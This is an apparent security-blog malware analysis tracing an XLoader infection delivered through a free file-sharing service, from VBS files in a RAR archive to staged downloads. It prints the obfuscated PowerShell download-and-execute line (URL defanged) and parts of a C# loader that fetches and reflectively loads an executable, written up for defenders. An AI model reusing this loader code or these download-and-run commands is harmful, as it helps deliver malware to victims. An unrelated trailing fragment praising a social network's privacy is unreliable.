Malware Delivered Through Free Sharing Tool

Published: 2022-03-24
Last Updated: 2022-03-24 09:45:58 UTC
by Xavier Mertens (Version: 1)
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 File sharing is a classic operation performed by many people on a daily basis. If you can share files using big players like Dropbox or all the *Drive ("One", "Google", etc), there exists a lot of free alternatives that help to easily share files with peers. Because, still today, many organizations do not provide an "official" (read: promoted, supported, and monitored) service, users are always looking for alternatives. There are plenty of tools available like Lufi[1] or[2] (they are plenty of others). The sample that I spotted yesterday was delivered through the second one.

The initial payload was a gzip'd RAR archive (SHA256:949ce2559baa5021ac55523ece74c52bcf39b74d94352d9697b60594034c6dfc)

remnux@remnux:/MalwareZoo/20220323$ gzip -d -c Files.gz | file -
/dev/stdin: RAR archive data, v5
remnux@remnux:/MalwareZoo/20220323$ gzip -d Files.gz && unrar t Files

UNRAR 5.50 freeware      Copyright (c) 1993-2017 Alexander Roshal

Testing archive Files

Testing     COMPILLED LIST OF ITEMS.vbs                               OK 
Testing     Item's Specification & Drawings.vbs                       OK 
Testing     Company's Introduction.vbs                                OK 
All OK

All three files in the archive are the same. Here is the (beautified) code:

utiO BYpASS -C  i`Ex( N`eW-oB`jEct neT.We`BcLi`ENt ).dOwNloadSTrinG('hxxps://transfer[.]sh/get/z16it2/rraammm.ps1') "

Pretty simple, it fetches the next payload through a share on


The Powershell code is:

$whatever = "dXNpbmcgU3lzd ... (stuff deleted) ... b3NlKCk7fX19";
$dec = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String($whatever));
Add-Type -TypeDefinition $dec;
$instance = New-Object SKWTFPdZCH.DpGVQhBvSm.HqEHXQYiIxCnIoaXttSHgHoMU;

$whatever contains another payload used to inject the PE and execute it:

using System;using System.IO;using System.Net;
using System.Reflection;using System.Threading;
namespace SKWTFPdZCH.DpGVQhBvSm
  public class HqEHXQYiIxCnIoaXttSHgHoMU
    private const string VhuixZgiqqTTIkrGvgRwUtDFE="hxxps://transfer[.]sh/get/ACEDn1/sdr.exe";
    private MemoryStream XaXaVkSGstrUmNTeLpgVnccuS=new MemoryStream();
    public void HxQcKKablTACrmEGBODiYOGhW()
    private void imYCaeLWaNVtuIupBojHByURJ()
      Assembly assembly=null;
        MethodInfo method=Type.GetType("System.Reflection.RuntimeAssembly").GetMethod("nLoadImage",BindingFlags.NonPublic|BindingFlags.Static);
        assembly=(Assembly)method.Invoke(null,new object[]{buffer,null,null,null,false,false,null});
        MethodInfo method=Type.GetType("System.Reflection.Assembly").GetMethod("nLoadImage",BindingFlags.NonPublic|BindingFlags.Static);
        assembly=(Assembly)method.Invoke(null,new object[]{buffer,null,null,null,false});
      object[]args=new object[1];
    private void gmrjNtqiFbYCZLoofQZiMGGJt()
      WebRequest request=WebRequest.Create(VhuixZgiqqTTIkrGvgRwUtDFE);
      WebResponse response=request.GetResponse();
      using(Stream web_stream=response.GetResponseStream())
        byte[]buffer=new byte[8192];
        int read=0;

The final payload (sdr.exe) is again downloaded from It's an XLoader[3] sample.

It could be interesting to hunt for such file-sharing services in your logs... From a security point of view, Lufi is nice because all crypt/decrypt operations are performed on the client-side and the server does not see the content of shared files. However, this prevents files to be downloaded by headless browsers. is pretty simple and is, therefore, a nice solution for attackers! This technique is better for attackers because they don't have to compromise a website to drop their malicious content. Note that a Lufi instance could be perfectly used in a phishing campaign (via a link in the mail).

I'm running my own instance of Lufi as a honeypot and keeping an eye on it but, until now, it was never abused...


Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant

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ISC Stormcast For Thursday, March 24th, 2022


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<a hreaf="">the social network</a> is not interested in collecting data about you. They don't care about what you're doing, or what you like. They don't want to know who you talk to, or where you go. The social networks only collect the minimum amount of information required for the service that they provide. Your personal information is kept private, and is never shared with other companies without your permission

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